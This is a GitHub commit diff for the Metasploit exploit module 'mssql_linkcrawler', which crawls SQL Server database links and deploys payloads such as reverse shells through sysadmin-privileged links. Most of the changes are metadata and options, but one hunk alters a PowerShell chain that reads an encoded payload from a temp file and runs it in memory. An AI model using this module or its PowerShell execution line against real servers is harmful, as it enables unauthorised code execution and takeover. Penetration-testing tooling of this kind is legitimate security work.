Skip to content

Commit 677b971

Browse files
committed
Finalizing module
1 parent 53a2fda commit 677b971

File tree

1 file changed

+45
-25
lines changed

1 file changed

+45
-25
lines changed

modules/exploits/windows/mssql/mssql_linkcrawler.rb

Lines changed: 45 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,11 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
19
require 'msf/core'
210
require 'msf/core/exploit/mssql_commands'
311

@@ -10,32 +18,39 @@ class Metasploit3 < Msf::Exploit::Remote
1018

1119
def initialize(info = {})
1220
super(update_info(info,
13-
'Name' => 'Microsoft SQL Server - Database Link Crawler',
14-
'Description' => %q{This module can be used to crawl MS SQL Server
15-
database links and deploy metasploit payloads through links configured
16-
with sysadmin privileges using a valid SQL Server Login. If you are
17-
attempting to obtain multiple reverse shells using this module we
18-
recommend setting the "DisablePayloadHandler" advanced option to "true",
19-
and setting up a multi/handler to run in the background as a job to
20-
support multiple incoming shells. If you are interested in deploying
21-
payloads to spefic servers this module also supports that functionality
22-
via the "DEPLOYLIST" option. Currently, the module is capable of
23-
delivering payloads to both 32bit and 64bit Windows systems via
24-
powershell memory injection methods based on Matthew Graeber's work.
25-
As a result, the target server must have powershell installed.
26-
By default, all of the crawl information is saved to a CSV formatted
27-
log file and MSF loot so that the tool can also be used for auditing
28-
without deploying payloads.},
21+
'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
22+
'Description' => %q{
23+
This module can be used to crawl MS SQL Server database links and deploy
24+
Metasploit payloads through links configured with sysadmin privileges using a
25+
valid SQL Server Login.
26+
27+
If you are attempting to obtain multiple reverse shells using this module we
28+
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
29+
up a multi/handler to run in the background as a job to support multiple incoming
30+
shells.
31+
32+
If you are interested in deploying payloads to spefic servers this module also
33+
supports that functionality via the "DEPLOYLIST" option.
34+
35+
Currently, the module is capable of delivering payloads to both 32bit and 64bit
36+
Windows systems via powershell memory injection methods based on Matthew Graeber's
37+
work. As a result, the target server must have powershell installed. By default,
38+
all of the crawl information is saved to a CSV formatted log file and MSF loot so
39+
that the tool can also be used for auditing without deploying payloads.
40+
},
2941
'Author' =>
3042
[
31-
'Antti Rantasaari <antti.rantasaari [at] netspi.com>',
32-
'Scott Sutherland "nullbind" <scott.sutherland [at] netspi.com>'
43+
'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
44+
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
3345
],
3446
'Platform' => [ 'win' ],
3547
'License' => MSF_LICENSE,
36-
'References' => [[ 'URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
37-
['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
38-
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
48+
'References' =>
49+
[
50+
['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
51+
['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
52+
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
53+
],
3954
'Platform' => 'win',
4055
'DisclosureDate' => 'Jan 1 2000',
4156
'Targets' =>
@@ -47,9 +62,14 @@ def initialize(info = {})
4762

4863
register_options(
4964
[
50-
OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']),
51-
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']),
52-
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
65+
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']),
66+
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
67+
OptString.new('PASSWORD', [true, 'The password for the specified username'])
68+
], self.class)
69+
70+
register_advanced_options(
71+
[
72+
OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
5373
], self.class)
5474
end
5575

@@ -511,7 +531,7 @@ def powershell_upload_exec(path)
511531
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
512532
# If running on 64bit system, 32bit powershell called from syswow64
513533
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
514-
'*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
534+
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
515535
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
516536
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
517537
powershell_64 = Rex::Text.encode_base64(powershell_uni)

0 commit comments

Comments
 (0)